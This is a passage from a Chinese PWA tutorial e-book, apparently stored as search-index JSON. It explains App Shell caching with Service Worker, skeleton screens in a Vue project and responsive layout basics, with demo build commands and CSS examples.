缓存，这确实是一个不错的主意，但它也有\\b一些很难解决的问题。 难以确定合适的 HTTP 缓存设置时间，也不适合更新比较频繁的站点 HTTP 缓存只有在 URL 相等的情况下才能起作用，这不符合 PWA 每个页面有唯一 URL 的要求 那么有没有更好的缓存方案呢？在第一章中，我们提到了 Service Worker 可以拦截网络请求和操作本地缓存，这给了我们足够的想象空间，可以结合 App Shell 和 Service Worker 来解决缓存问题。 使用 Service Worker 预缓存 App Shell 的静态资源 用户访问 Web 站点时，通过 Service Worker 拦截请求 Service Worker 返回缓存中的 App Shell 给浏览器 App Shell 根据当前的 URL 再去请求对应的数据来渲染 这样可以解决上面提到的所有问题。下面是 App Shell 和 Service Worker 结合使用的收益。 第二次访问速度极快且稳定。由于 App Shell 的内容已经缓存在本地缓存中，用户第二次访问会在极短的时间内渲染出 App Shell 为用户节省流量。用户在后续的访问都不会再请求 App Shell 的内容，而是只请求主体内容，不用加载一些公用的静态文件。 具有 Native App 的用户体验。无论是第一次访问还是后续页面的切换，都具有唯一不变的区域，没有传统 Web 页面切换的白屏。 App Shell 的案例 https://lavas.baidu.com 是百度 Web 生态团队开发的 Lavas 的官网。这是一个体验比较好的 PWA 站点，那么来分析一下这个站点是如何结合 Service Worker 和 App Shell 的。 下图右侧就是 Service Worker 缓存在 Cache Storage 中的 App Shell 内容，左侧顶上的 banner 就是 App Shell 的可见区域。整个页面的外壳部分被缓存起来，在下次访问时由 Service Worker 取出并直接返回，如果把网络断开再刷新页面，页面依然能够正常渲染。 经过我们前面的分析，App Shell 和 Service Worker 结合首屏展现速度会非常快，那么在这个案例中，首屏的性能到底如何呢，来看一下下面这张图，这张渲染性能的图是在 PC Chrome 上统计的。 从上图中，能看到大概在时间轴 200ms 的时候，已经渲染出了 App Shell。查看浏览器统计的详细 Event Log，上图中页面首次绘制是在 230ms，再减去上一个页面的销毁时间大概 80ms，实际上当前页面从开始发送请求到首屏渲染出来所花掉的时间是 150ms，对于用户来说，页面几乎是瞬间呈现，没有白屏时间。并且从上图中，也能看出渲染的顺序是先 App Shell，然后再渲染出主体内容，和我们预想的一样。 如果您觉得这个站点过于简单，无法体验 Service Worker 和 App Shell 结合的优势，下面列出了该团队提供的另一个较复杂的使用了 App Shell 模型的例子，也同样是体验非常良好的 PWA 站点。 https://lavas.baidu.com/12306/，这是百度 Web 生态团队开发的一个 demo，参考中国铁路在线售票系统 12306。 注意，这个站点只是 demo，不是 12306 官方的网站，不要输入密码等个人信息。 如何在 Vue 项目中使用 App Shell + Service Worker 第一章的例子也采用了 App Shell + Service Worker 的方式，但是没有采用任何框架辅助，在实际项目中，这样不借助任何框架编写 SPA 是比较少见的。在现代项目中，采用 Angular/React/Vue 来编写复杂 SPA 的项目占大多数，那么如何在这些框架中使用 App Shell 和 Service Worker 呢，下面我们用一个实际的例子来演示一下。 启动示例 和第一章的例子一样，您需要准备 Git，Node.js 和 npm 环境，准备完成后，可以通过下面的命令下载我们的示例，这个示例是根据 vue-cli 创建的很基本的 Webpack 模板，可以参考 npm 上的文档 vue-cli 简介。 # 从 GitHub 下载代码到本地 pwa-book-demo 目录 $ git clone https://github.com/lavas-project/pwa-book-demo.git # 进入到 chapter02/appshell 目录 $ cd chapter02/appshell # 安装 npm 依赖 $ npm install # 启动 chapter02 appshell 示例 $ npm run dev 在命令行中看到输出 Your application is running here: http://localhost:8080 后\\b，代表服务已经启动成功，打开浏览器，访问 http://localhost:8080，能看到下图所示的页面。 这时，如果您打开 Chrome 调试工具，并定位到 Application 栏目，会发现没有注册 Service Worker，这是因为我们在开发模式下没有生成 service-worker.js 文件，根据我们的经验，在开发模式下启用 Service Worker 对开发调试会带来很大的影响，因为如果 Service Worker \\b写的不够完善，会导致开发中\\b修改后的文件得不到及时的更新，没有经验的开发者会花较多的时间来排查，因此我们的 demo 只有在编译之后才会生成 service-worker.js 文件。 # 编译 $ npm run build # 进入到编译后的 dist 目录 $ cd dist # 安装静态文件调试服务 $ npm install -g edp # 在 dist 目录中启动本地静态文件服务 $ edp ws start 在命令行输出了下面的文本后，即代表服务已经启动。 mockservice edp INFO EDP WebServer start, http://xxx.xxx.xxx.xxx:8848 打开浏览器，输入 http://localhost:8848，能看到调试模式下相同的页面。不同的地方在于，这个时候已经安装了 Service Worker，打开 Chrome 调试工具，定位到 Application -> Service Worker，如下图所示。 点击 Chrome 调试工具左侧的 Cache -> Cache Storage\\b，能看到有两个 Cache Storage 实例，其中一个以 sw-precache- 开头的实例里面预缓存了 App Shell 所需的静态文件，如下图。 示例解析 哪些区域是 App Shell 在这个 Vue 的示例里，可见部分哪些是 App Shell 呢，我们可以查看 src/App.vue 文件。 熟悉 Vue 的开发者都知道 标签在 Vue 项目里是用来嵌入子路由的，Home.vue 和 NextPage.vue 是这个例子中的两个页面。 可以简单的认为，\\b在 标签之外的内容都可以认为是 App Shell，不仅包括上面的 img 标签，下面的 bottom-navigation 组件，还包括在 标签外面的内容，如 index.html 文件中的其他部分。 如何缓存 App Shell 内容 在这个示例中，service-worker.js 文件是通过 SW Precache Webpack Plugin 插件生成的，可以参考 sw-precache-webpack-plugin 文档。代码如下所示： // build/webpack.prod.js #13 行 // 引入 sw-precache-webpack-plugin 插件 const SWPrecacheWebpackPlugin = require('sw-precache-webpack-plugin'); // build/webpack.prod.js #121 行 // 添加 sw-precache-webpack-plugin 插件生成 Service Worker 文件 new SWPrecacheWebpackPlugin(config.swPrecache.build) 它的配置写在 config/sw-preache.js 文件中\\b，开发者可以对它做一定的修改。 编译之后，会在 dist 目录中生成 service-worker.js 文件，\\b第四章中有对 Service Worker \\b详细的介绍，在这里我们不必关心这个文件中过多的细节。插件生成的 Service Worker 做了很多事情，如下： 列出了项目中静态文件列表 \\b预缓存了 App Shell 的静态文件 具有预缓存动态更新机制 Service Worker 的更新机制 // 预缓存文件列表，其中包含 App Shell 所有的文件 var precacheConfig = [[\\\"/index.html\\\",\\\"cb8786927330e5bdd417a47314a7300b\\\"],[\\\"/static/css/app.5be76b7d213b43df9723e8ab15122efb.css\\\",\\\"5b0aa7a24708300b7176f0304923ab39\\\"],[\\\"/static/images/icons/icon_144x144.png\\\",\\\"4bf0757895bd1cda44ee9204fe06a661\\\"],[\\\"/static/images/icons/icon_152x152.png\\\",\\\"c69908d502224c5317453f8ae725bbf0\\\"],[\\\"/static/images/icons/icon_192x192.png\\\",\\\"c69908d502224c5317453f8ae725bbf0\\\"],[\\\"/static/images/icons/icon_512x512.png\\\",\\\"8eaee831d59442821083453b174df0f6\\\"],[\\\"/static/js/0.2dd5b370dbfb9afda866.js\\\",\\\"5455b40e8991749d4aeb904f09389394\\\"],[\\\"/static/js/1.f740f9813d49b7661238.js\\\",\\\"65b7858bacef211f345d0d88fda81092\\\"],[\\\"/static/js/app.e9b2b9e109561a7201f5.js\\\",\\\"a28433e856b3e149bac022df934eb94e\\\"],[\\\"/static/js/manifest.69fbe521a6bc723a8ce1.js\\\",\\\"c6b6fbf7902cd5325b5b1d43045db622\\\"],[\\\"/static/js/vendor.7bb72363822163e0f3b3.js\\\",\\\"38d1baa4e38eeab57826462846900d69\\\"],[\\\"/static/manifest.json\\\",\\\"a521180656694782bc69a54ee5900dfb\\\"]]; var cacheName = 'sw-precache-v3-sw-cache-chapter02-appshell-' + (self.registration ? self.registration.scope : ''); 总结 总结来说，App Shell 把站点内容划分为“变”和“不变”两个部分，再辅以 Service Worker 技术将“不变”的部分缓存起来，以达成快速加载页面的效果。 通过 App Shell 和 Service Worker，我们有办法让“不变”的部分快速展现，那么针对“变”的部分，我们有什么办法让它展现得更快呢，或者让它“看起来”更快？在这里我们再提出另一种方案，它虽然不能在实质上提升页面的加载速度，但可以让它在感官上更快，它就是下一节要介绍的骨架屏。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter02/4-app-skeleton.html\":{\"url\":\"chapter02/4-app-skeleton.html\",\"title\":\"2.4 骨架屏\",\"keywords\":\"\",\"body\":\"骨架屏 在前面的章节，我们说过，首屏速度对于用户留存率至关重要。 很多站点都会在完成基本功能后（或者同时）进行性能优化，常见的性能优化手段包括静态资源合并，压缩文件，使用 CDN，包括上一小节介绍的 App Shell 等，这些的确能够显著地缩短加载时间。但是我们想象一下，在首次打开时，主体内容渲染完成之前，页面基本上是空白的，这对于用户体验是非常不友好的。如果我们用能够快速渲染的静态图片/样式/色块进行占位，让用户对后续会渲染的内容有一定的预期，这要比白屏等待要好的多，这就是骨架屏。如上一节的结尾所述，它本质上并不提升页面的加载速度，却能提升感官体验，让网页“看起来”更快。 骨架屏长什么样 您可能没听说过骨架屏这个名字，但应该很早就在其他 App 上看到过，骨架屏常见的种类有列表、图片和两者的混合。 下面的图是饿了么 Web 站点 骨架屏的效果，这种效果是比较常见的类型，它使用各种形状的色块来模拟图片和文字，有些图标也会使用圆形色块。为了追求效果，还可以在色块表面添加动画效果，如波纹，看起来就像具有 loading 效果的骨架屏。 在图片居多的站点，使用低像素的图片进行占位也是一个不错的选择，图片配色及变化和原图相近即可，如果觉得生成低像素的图片成本较高，可以降级使用纯色色块代替，但色块的颜色最好和图片主体颜色相似，如果觉得这个成本还是很高，那么可以直接采用上面例子中统一颜色的色块。 骨架屏的精髓，并不是用什么来占位，而是无论什么内容占位，一定要保持渲染前和渲染后结构相似，不能差距太大，最好保持色块/图片间距一样，避免页面渲染后内容跳动。 骨架屏能用在哪里 现在的 Web 应用，从架构上来说分为前端渲染(CSR)和后端渲染(SSR)两种，骨架屏适用于前端渲染的页面，而后端渲染的页面渲染首屏时所有内容都已经存在了，因此无需骨架屏。但是，即使是后端渲染的页面有时也会存在前端渲染的区域，比如列表的加载，只要是用到 JavaScript 来渲染内容的地方，都可以选择性的使用骨架屏来占位。 由于近几年 Angular/React/Vue 的推出，前端渲染的站点越来越多，它们让开发复杂 Web App 变的很简单。它们的流行也大大提高了 App Shell 和骨架屏的普适性，大部分此类站点都可以采用这种模式。 在 Vue 项目中使用骨架屏 我们以 Vue 开发的单页应用为例，在其它框架上，实现思路是一致的。在这个示例中，为了方便调试，笔者将 Service Worker 的注册逻辑删除了。 开发者可以下载示例代码并启动，如下所示： # 从 GitHub 下载代码到本地 pwa-book-demo 目录 $ git clone https://github.com/lavas-project/pwa-book-demo.git # 进入到 chapter02/appskeleton-01 目录 $ cd chapter02/appskeleton-01 # 安装 npm 依赖 $ npm install # 启动 chapter02 appskeleton-01 示例 $ npm run dev 为了方便调试，我们将 src/main.js 中 Vue 实例的挂载时间推迟了 2s，在这期间，我们能看到骨架屏的效果。 // src/main.js const app = new Vue({ router, components: { App }, template: '' }) router.onReady(() => { // 将 mount 时间延后 2s，便于查看效果 setTimeout(() => app.$mount('#app'), 2000) }) 然后，我们需要在 index.html 中添加骨架屏，如下： body { margin: 0; } .skeleton { text-align: center; padding-top: 60px; } .skeleton-bottom { position: fixed; bottom: 0; left: 0; right: 0; height: 56px; box-shadow: 0 3px 14px 2px rgba(0, 0, 0, .12); display: flex; } ... 填写完成之后，刷新页面您能看到下图所示的骨架屏。 进阶优化：更快的展现骨架屏 在上面的例子中，为了让骨架屏尽早展现，我们需要做到以下两点： 把骨架屏的 HTML 内联在 index.html 中，而不是用 JavaScript 来渲染 骨架屏的 CSS 最好内联，保证骨架屏在最短的时间内渲染 可惜的是，尽管我们这么做了，也不一定能取得想要的结果，通过实际测试会发现骨架屏很难被用户看到，或者说它展示的时间不如预期的早。 现状分析 我们在上面的示例基础上来分析一下原因是什么。用 Chrome 调试工具中的 Performance 记录渲染流程，为了简单一些，我们可以将网络设置成 Slow 3G，会比较明显的发现骨架屏出现的时间非常短。 为了更接近生产环境，先将示例编译之后再调试。 # 在 chapter02/appskeleton-01 目录中 # 编译 $ npm run build # 进入到编译后的 dist 目录 $ cd dist # 安装静态文件调试服务 $ npm install -g edp # 在 dist 目录中启动本地静态文件服务 $ edp ws start 打开 Chrome 浏览器访问 http://localhost:8848。下图是笔者用调试工具记录的页面渲染流程，发现页面第一次渲染是在 app.*.css 加载完成之后。 按照预想，骨架屏应该在 HTML 加载完成之后立刻渲染出来，也就是在浏览器获取外链资源的同时，这也是为什么我们把骨架屏的 HTML 和样式都内联的原因，然而事与愿违，浏览器并不买账。 浏览器做了什么 熟悉浏览器的开发者很快就能理解，这与浏览器的渲染顺序有关。 相信大家都整理过行李箱。在整理行李箱时，会根据每个行李的大小合理安排，大的和小的配合，填满一层再整理上面一层。如果突然有人跑来和你说电脑不用带了，要多带两件衣服，这时除了想打他之外，你还需要重新安排行李。在浏览器中，这个过程叫做重排（reflow），而那个馊主意就是新加载的样式文件。显而易见，重排的开销是很大的，需要尽力避免。 既然每个 CSS 文件都可能会触发重排和重绘，那索性等待 中所有的外链样式文件加载完成之后再渲染，这个流程本身是没有问题的，却在骨架屏的应用中出了一些问题。 页面从加载到展现的大致顺序如下： 加载 HTML 文件 解析 DOM 并行加载 CSS/JS 资源 如果 中存在外链的样式，则阻塞渲染等待样式文件加载并解析完成 如果 中存在外链的 script，则阻塞渲染等待 script 文件加载并执行完成 在 Vue 的项目编译完成之后， 标签中的结构如下，在 标签中插入了一个外链的样式文件，导致骨架屏渲染推后。 PWA Chapter02 Demo - App Skeleton body { margin: 0; padding-top: 60px; } .skeleton { text-align: center; } .skeleton-bottom { position: fixed; bottom: 0; left: 0; right: 0; height: 56px; box-shadow: 0 3px 14px 2px rgba(0, 0, 0, .12); display: flex; } 为了尽早展现骨架屏，我们将骨架屏渲染所需的样式和 HTML 内联，却被页面中其他的外链样式文件阻塞了渲染。拿上一节中的 Vue 示例来举例，由于浏览器解析完 DOM 之后是并行加载外链资源的，所以在样式文件加载完成之后，JavaScript 文件也基本已经加载完成，因此在骨架屏真的渲染出来之后没多久就被 JavaScript 渲染的真正内容取代，这就是为什么骨架屏出现非常靠后，效果大打折扣。 所以，我们需要告诉浏览器，请放心大胆的先渲染骨架屏。 避免样式文件的加载阻塞骨架屏的渲染 Webpack 编译的 Vue 项目，会在 index.html 的 插入外链的样式文件，，这无疑会阻塞骨架屏的渲染。浏览器还提供了预加载机制，使用方法非常简单，只需将 rel=\\\"stylesheet\\\" 改为 rel=\\\"preload\\\"，浏览器会在空闲的时候加载并缓存，之后再使用就不用重复加载。 这看似无关的技术，在骨架屏的应用里将起到很大的作用，因为预加载的资源不会阻塞渲染. 我们通过这种方式告诉浏览器，先不要管 app.xxx.css，直接渲染后续内容，在 app.xxx.css 文件加载完成之后，再将它重新设置为样式文件，如下代码所示： 方法的核心是通过改变 rel 让浏览器重新认定这个 标签是样式文件，这样既不阻塞骨架屏的渲染，也能正常应用外链样式文件。 这样就完了吗？ 如果不将 标签 rel=\\\"stylesheet\\\" 改为 rel=\\\"preload\\\"，浏览器会根据资源的书写顺序来顺序执行，即先应用外链样式，再执行外链 JavaScript 文件渲染主体内容。但是根据上面的步骤，我们使用预加载来加载样式文件，这样做的结果就是我们无法保证浏览器会先应用样式再运行 JavaScript 渲染内容，一旦 JavaScript 先执行并渲染出了内容，再应用外链样式，会导致页面重排和重绘，用户会先看到排版完全是乱的页面，再看到正常的页面，对用户体验是不小的伤害。 因此，我们还需要考虑到文件加载顺序的问题，在样式文件加载完成前，即使 JavaScript 已经渲染好了内容，也先不要替换掉骨架屏，等待样式文件加载完成后，再触发 JavaScript 进行挂载。 在 Vue 的项目中需要修改 src/main.js 和 index.html 文件。 // src/main.js const app = new Vue({ router, components: { App }, template: '' }) /** * 挂载 Vue 渲染好的 HTML 元素到 #app 中，替换掉骨架屏 */ window.mount = function () { app.$mount('#app') } 这样就好了吗？ 还不够完善，如果样式文件在 JavaScript 文件之前加载，那么 mount 函数还没有声明，执行会出错，最终也导致主体内容没有渲染到页面上。还需要完善，增加一个标记告诉 JavaScript 样式是否加载完成，经过改造代码如下，同样还是 src/main.js 和 index.html 文件。 // src/main.js const app = new Vue({ router, components: { App }, template: '' }) /** * 挂载 Vue 渲染好的 HTML 元素到 #app 中，替换掉骨架屏 */ window.mount = function () { app.$mount('#app') } // 如果样式文件已经加载完成了，直接挂载 if (window.STYLE_READY) { window.mount() } 考虑到浏览器不支持 JavaScript 的情况，那么还需要增加一个 标签。 经过这番改造之后，我们再来看一下在 Chrome 中的表现，这个示例是在 Fast 3G 网络环境下展现的，如下图所示。骨架屏在 650ms 左右的时刻渲染完成，而样式文件是在 1200ms 左右才加载完成，没有阻塞骨架屏的渲染，符合期望。 如何在 Vue 项目中使用骨架屏 如果让开发者在 Vue + Webpack 项目中进行上面的改写，代价是比较高的，为此，百度 Web 生态团队写了一个 Webpack 插件，vue-skeleton-webpack-plugin。 总结 骨架屏从优化关键渲染路径思路出发，配合 App Shell 和 Service Worker 等技术，进一步优化页面在加载阶段的感知体验。通过本节学习示例，我们看到配合 Vue/Webpack 等一系列技术，为应用添加骨架屏可以变得更加简单。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter02/5-responsive-design.html\":{\"url\":\"chapter02/5-responsive-design.html\",\"title\":\"2.5 响应式布局\",\"keywords\":\"\",\"body\":\"响应式布局 自从进入移动互联网时代，响应式布局这个词经常出现在 Web 设计和开发领域，它让 Web 页面在不同尺寸的设备上都具有良好的浏览体验。 开始之前 在讲解响应式布局之前，需要先了解一下基础知识，只有对它们都有一定的了解，才能在做响应式布局时选取合适的技术方案。 像素 像素这个单位很常见，指的是图像中最小的单位，一个不可再分割的点，在计算机屏幕上一般指屏幕上的一个光点。例如常见的描述中 iPhone X 的分辨率是 1125x2436，一般指的是在长和宽上像素点的个数。但是在 Web 开发中，我们知道 iPhone X 的像素是 375x812，那么这又是怎么回事呢？这里需要讲到设备像素（Device Pixels）和虚拟像素，也可以叫 CSS 像素（CSS Pixels）或者逻辑像素，后面我们统一使用 CSS 像素这个称呼，在 Android 开发中可以叫设备无关像素（Device Independent Pixel，简写 dip）。设备像素很好理解，对应屏幕上光点的数量。 在科技发展到今天，屏幕分辨率已经达到人眼无法区分单个像素的程度，人眼无法在 iPhone X 宽不到 7cm 的屏幕上数出 1125 个像素点。Web 开发人员眼中的 1px 可能对应多个设备像素，Peter-Paul Koch 在他的博文中有详细的讲解《A pixel is not a pixel is not a pixel》。 比如在 iPhone X 上，设备像素是 1125x2436，而 CSS 像素是 375x812，那么一个 CSS 像素对应的是长和宽各 3 个设备像素，9个设备像素点。 1 css pixel = 3 x 3 device pixels 那个这个比值 3 就是我们平时所说的设备像素比（Device Pixel Ratio），简称为 DPR。DPR 它并不是一个单位，而是一个比值，这个比值可以在浏览器中通过 JavaScript 代码获取。 // 设备像素比，在 iPhone X 中等于 3，在 iPhone 6 中等于 2 window.devicePixelRatio EM vs REM EM EM 是相对单位，相对于元素自身的 font-size，它不像像素是固定的单位，因此很适合用来做响应式布局。 h1 { font-size: 20px; margin: 1em; /* 1em = 20px */ } p { font-size: 14px; padding: 1em; /* 1em = 14px */ } .outer { font-size: 12px; } .inner { font-size: 2em; padding: 1em; /* 1em = 24px*/ } 如果当前元素没有设置 font-size，那么 1em 实际大小是多少？ p { padding: 1em; /* 1em 等于多少像素*/ } 在上面的代码中没有设置 的 font-size，它会从继承父元素的字体大小，如果父元素也没有设置字体大小，会一直找到根元素 ，而 元素的默认 font-size 一般是 16px。有的元素有默认的字体大小，比如 的 font-size 默认等于 2em，最终计算还是会追溯到最外层。 1em = 16px REM REM = Root EM，顾名思义就是相对于根元素的 EM，是根据根元素来计算出CSS 像素点的大小。根元素就是 ，而它的默认字体大小是 16px。 h1 { font-size: 20px; margin: 1rem; /* 1rem = 16px */ } p { font-size: 1rem; /* 1rem = 16px */ } 所以，如果我们改变根元素的字体大小，页面上所有使用 rem 的元素都会被重新计算元素属性并重绘。 EM vs REM EM 和 REM 都是相对单位，两者都可以用来做响应式布局的单位。根据它们的特性，EM 和 REM 互有优劣。 EM - 对于模块化的页面元素比较好，比如 Web Components 标签，标签内的元素都根据父元素计算像素大小，只需设置最外层父元素的字体大小可同时影响子元素，保持自定义元素具有一定的模块封闭性。但，EM 比较难以追溯，需要逐层向上排查显示设置了字体大小的元素。 REM - 方便是 REM 最大的好处，只需知道 的字体大小即可计算当前的实际像素大小。 有的开发者全部都用 REM，有些开发者全部用 EM，这其实都是不合理的用法。开发者应该视情况不同采用不同的单位，但在现在的环境下，REM 使用的更广泛一些。 开发者根据设计师提供的 UE 图进行开发时，测量出来的大小单位一般是像素，如果需要转换为 REM，可以采用 PostCSS 的插件 postcss-px2rem 自动转换为 rem 单位。 vw, vh，百分比 vw 和 vh vw 和 vh 现在还不常见，但也逐渐开始被开发者使用，特别是在布局上。 vw - viewport width，视口宽度，1vw = 1% 视口宽度 vh - viewport height，视口高度，1vh = 1% 视口高度 vw 和 vh 的逻辑比较简单，100vw = 100% 视口宽度，视口（viewport）会在后面详细讲解。下面的代码演示如何在 iPhone X 上计算 vw 的实际 CSS 像素大小，vh 的计算方法和 vw 一样。 p { width: 50vw; /* 1vw = 1 / 100 * 375px = 3.75px */ } 50vw = 50% viewport width = 50% * 375px = 187.5px 浏览器对 vw 和 vh 支持相对较晚，目前在 Android 4.4 以下的 Android Browser 上还不支持，但是国内主流应用的 WebView 内核都是自己定制的，内核版本都高于系统自带的，因此在国内 vw 和 vh 的支持度比 Can I Use 统计的要高很多，而且随着版本的推移，vw 和 vh 会更流行。 vw, vh vs 百分比 现在我们知道了，1vw = 1% 视口宽度，那么它们是不是等价呢？我们先来看一下下面的代码，同样还是以 iPhone X 为例。 .p1 { width: 50vw; /* 1vw = 1 / 100 * 375px = 3.75px */ } .outer { width: 80vw; } .p2 { width: 50%; } 50vw = 187.5px 50% = 150px 将上面的代码在浏览器中运行，发现第二个 标签的实际宽度为 150px，不是 187.5px。其实原理非常简单，就和 EM 和 REM 一样，百分比相对于父元素的宽度来计算，而 vw 根据视口的宽度来计算。 所以再回顾上面的例子中的第二个 标签，.outer 元素的宽度为 80vw = 300px，那么其子 标签的宽度为 300px * 50% = 150px。 除 vw 和 vh 外，还有 vmin 和 vmax 元素，这里就不继续展开，感兴趣的开发者可以访问 《Fun with Viewport Units》了解更多，这篇文章中对 vw 和 vh 讲的很详细，还有不少示例。 Web 开发中还有很多其他的单位，如 in（英尺），mm（毫米），cm（厘米）等，但因为使用的不多，开发者仅作了解就可以。 弹性框 上面我们讲到了百分比和 vw/vh，它们都可以用来实现响应式的布局，但是不如我们接下来要讲的弹性框灵活，它不是单位，而是一种布局方式。 区别于传统的布局方式，如标准文档流、浮动布局和定位布局，弹性框（flexbox）布局更加灵活，弹性框中的元素可以弹性伸缩，可以定义排版方向，还可以指定 flex 元素的顺序。下面是一个简单的例子。 .container { display: flex; /* 设置容器为弹性布局 */ } .box { width: 100px; height: 30vh; } .b1 { background: #009; } .b2 { background: #06c; } .b3 { background: #39f; } .b4 { background: #6cf; width: 50px; } 上面的例子在浏览器中的表现如下图所示，我们能看到，每个 元素都是横排，这是因为弹性布局默认排列为横向排列，我们可以通过 flex-direction 属性决定排列方向，同时在小于 350px 宽的浏览器里，会按比例自动缩小每个 的宽度。 从上面的例子中，\\b能发现，有两个重要的角色需要开发者关注，一个是容器，一个是其子元素。 容器样式属性 容器指的是 display: flex 的元素，它可以定义其他的属性，决定子元素的排列，如下。 flex-direction - 定义主轴方向，即子元素的排列方向，取值为 row, row-reverse, column 和 column-reverse，默认为 row，即水平从左到右 flex-wrap - 默认情况下，弹性布局会将所有元素都压缩到一行，可以通过设置 flex-wrap 告诉浏览器在适当时候换行，取值为 nowrap, wrap 和 wrap-reverse，默认为 nowrap flex-flow - 这个属性值是 flex-direction 和 flex-wrap 的简写，如 flex-flow: row nowrap，等价于 flex-direction: row; flex-wrap: nowrap justify-content - 定义子元素在主轴上对齐方式，取值为 flex-start, flex-end, center, space-between, space-around，默认为 flex-start align-items - 定义子元素在垂直于主轴的交叉轴的排列方式，取值为 stretch, flex-start, flex-end, center, baseline，默认为 stretch，即如果没设置高度，将填满交叉轴方向 align-content - 定义了\\b子元素在多条轴线上的对齐方式，如果只使用了一条轴线，那该属性不起作用，取值为 flex-start, flex-end, center, space-between, space-between, space-around 和 stretch，默认为 stretch 在弹性布局之前，开发者如果要实现子元素水平和垂直居中会比较麻烦，在弹性布局中，非常容易实现，只需要在容器上设置轴线对齐方式，如下代码所示。 .container { display: flex; /* 设置容器为弹性布局 */ justify-content: center; /* 设置在主轴上居中对齐 */ align-items: center; /* 设置在交叉轴上居中对齐 */ } 子元素样式属性 同样，子元素也有\\b很多新增的样式属性，如下： order - 设置子元素在主轴方向上的顺序，取值为数字，从小到大排列，默认为 0 flex-grow - 定义子元素的放大比例，取值为数字，默认为 0 flex-shrink - 定义子元素的缩小比例，取值为数字，默认为 1 flex-basis - 定义在分配\\b\\b多余空间之前，子元素的默认大小，默认为 auto flex - 是 flex-grow, flex-shrink 和 flex-basis 的简写，默认值为 0 1 auto align-self - 覆盖父元素的 align-items 属性，可以让子元素自身采用不同的对齐方式，默认为 auto，继承父元素的 align-items 弹性布局非常灵活，属性值也足够应对大部分复杂的场景。可以阅读这篇文章查看详细的介绍《A Complete Guide to Flexbox》。 那么，开始之前需要了解的内容就到这了，接下来看如何实现响应式布局。 设置 viewport 支持响应式第一步，需要做的是设置页面的 viewport。移动端网页会在头部书写 viewport 的元标签，它告诉浏览器页面多大尺寸，是否需要缩放。 想要理解 viewport 可以阅读 Peter-Paul Koch 写的三篇文章，《A tale of two viewports — part one》，《A tale of two viewports — part two》，《Meta viewport》。 在早期，移动设备经常需要打开 PC 端的网页，早期的移动设备设备像素比较低，多为 320px，而 PC 端的网页宽度一般都很大，所以，如果将 PC 端的网页在移动设备上打开，会因为页面太窄而导致布局错乱。为了解决这个问题，浏览器会将页面默认 viewport 设置为一个较大的值（Safari 默认是 980px），所以 PC 端的网页在移动设备浏览器上都能正常打开，只是元素看上去比较小。 在上面的例子中，viewport 的值 width=device-width，告诉浏览器用 屏幕宽度（单位为 CSS 像素）来作为页面宽度渲染，在 iPhone X 下是 375px，不同的设备宽度可能不一样。这个视口被 Peter-Paul Koch 称为理想视口（ideal viewport），也是体验最好的视口大小。 viewport 元标签的取值有 6 种，如下表所示 字段名 取值 说明 width 正整数，device-width 定义视口的宽度，单位是 CSS 像素，如果等于 device-width，则为理想视口宽度 height 正整数，device-height 定义视口的高度，单位是 CSS 像素，如果等于 device-height，则为理想视口高度 initial-scale 0 - 10 初始缩放比例，允许小数点 minimum-scale 0 - 10 最小缩放比例，必须小于等于 maximum-scale maximum-scale 0 - 10 最大缩放比例，必须大于等于 minimum-scale user-scalable yes/no 是否允许用户缩放页面，默认是 yes 确保内容不会超出 viewport 设置了 viewport 为理想视口，如果在 iPhone X 上，有元素的宽度超出了 375px，那么就会溢出到视口外面，导致出现横向滚动条。无论是在 PC 端，还是移动端，用户的都习惯上下滚动，而不是左右滚动，强迫用户横向滚动或者缩小页面来浏览全部的内容，体验很不好。 因此，不能期望设置 viewport 宽度能解决适配问题，还需要开发者记住以下原则。 不要使用大的固定宽度的元素，如果不考虑穿戴式设备，不要设置大于 320px 的宽度 不应该让内容在某一个特定宽度的 viewport 下才能正常显示 使用相对单位或者媒体查询让元素在不同大小的视口下适配 对于图片或者视频等嵌入式的元素，可以在站点 CSS 中添加下面的代码。 img, embed, object, video { max-width: 100%; /* 设置 img 等元素最大宽度威 100% */ } 使用媒体查询 媒体查询（media query）让开发者可以有选择性的应用不同 CSS，媒体查询提供了简单的判断方法，可以根据不同的设备特征应用不同样式，比如设备的宽度、类型、方向等，可以参考 MDN 上的文档《CSS 媒体查询》。 /* 如果设备类型为屏幕并且 viewport 小于 800px 宽，设置 body 背景颜色为灰色 */ @media screen and (max-width: 800px) { body { background: #ccc; } } 如果需要使用媒体查询应用的样式比较多，可以独立为一个文件，通过在 标签中设置媒体查询条件。 媒体查询支持很多设备特征，常用的主要是 viewport 的宽高和设备方向，如下表所示。 设备特征 取值 说明 min-width 数值，如 600px 视口宽度大于 min-width 时应用样式 max-width 数值，如 800px 视口宽度小于 max-width 时应用样式 orientation portrait|landscape 当前设备方向，portrait 垂直，landscape 水平 如何选择 min-width 和 max-width 的取值，我们称为选择断点，主要取决于产品设计本身，没有万能媒体查询的代码。但经过实践，我们也总结了一套比较具有代表性的设备断点，代码如下。 /* 很小的设备（手机等，小于 600px） */ @media only screen and (max-width: 600px) { } /* 比较小的设备（竖屏的平板，屏幕较大的手机等, 大于 600px） */ @media only screen and (min-width: 600px) { } /* 中型大小设备（横屏的平板, 大于 768px） */ @media only screen and (min-width: 768px) { } /* 大型设备（电脑, 大于 992px） */ @media only screen and (min-width: 992px) { } /* 超大型设备（大尺寸电脑屏幕, 大于 1200px） */ @media only screen and (min-width: 1200px) { } 如果要对细分屏幕大小进行适配，可以查看文章，列出了详细的常见设备的媒体查询条件，《media queries for common device breakpoints》。 最佳实践 响应式文字 大多数用户阅读都是从左到右，如果一行文字太长，用户阅读下一行时容易出错，或者用户只会读一行文字的前半部分，而略读后半部分。在上世纪就有研究表明，一行 45 ～ 90 个英文字符是最好的，当然这要看是什么字体，一个中文汉字一般对应两个英文字符，所以，对于中国用户来说，一行文字合理的数量应该是 22 ～ 45 个字符。 字体大小对阅读体验同样重要，基本字体一般不小于 16px，行高大于 1.2em。 p { font-size: 16px; line-height: 1.2em; /* 1.2em = 19.2px */ } 而设备的尺寸多种多样，如果设计师希望在平板上将字体设置为 18px，开发者可以使用前面讲到的 REM 和媒体查询，代码如下。 /* 在屏幕宽度大于 600px 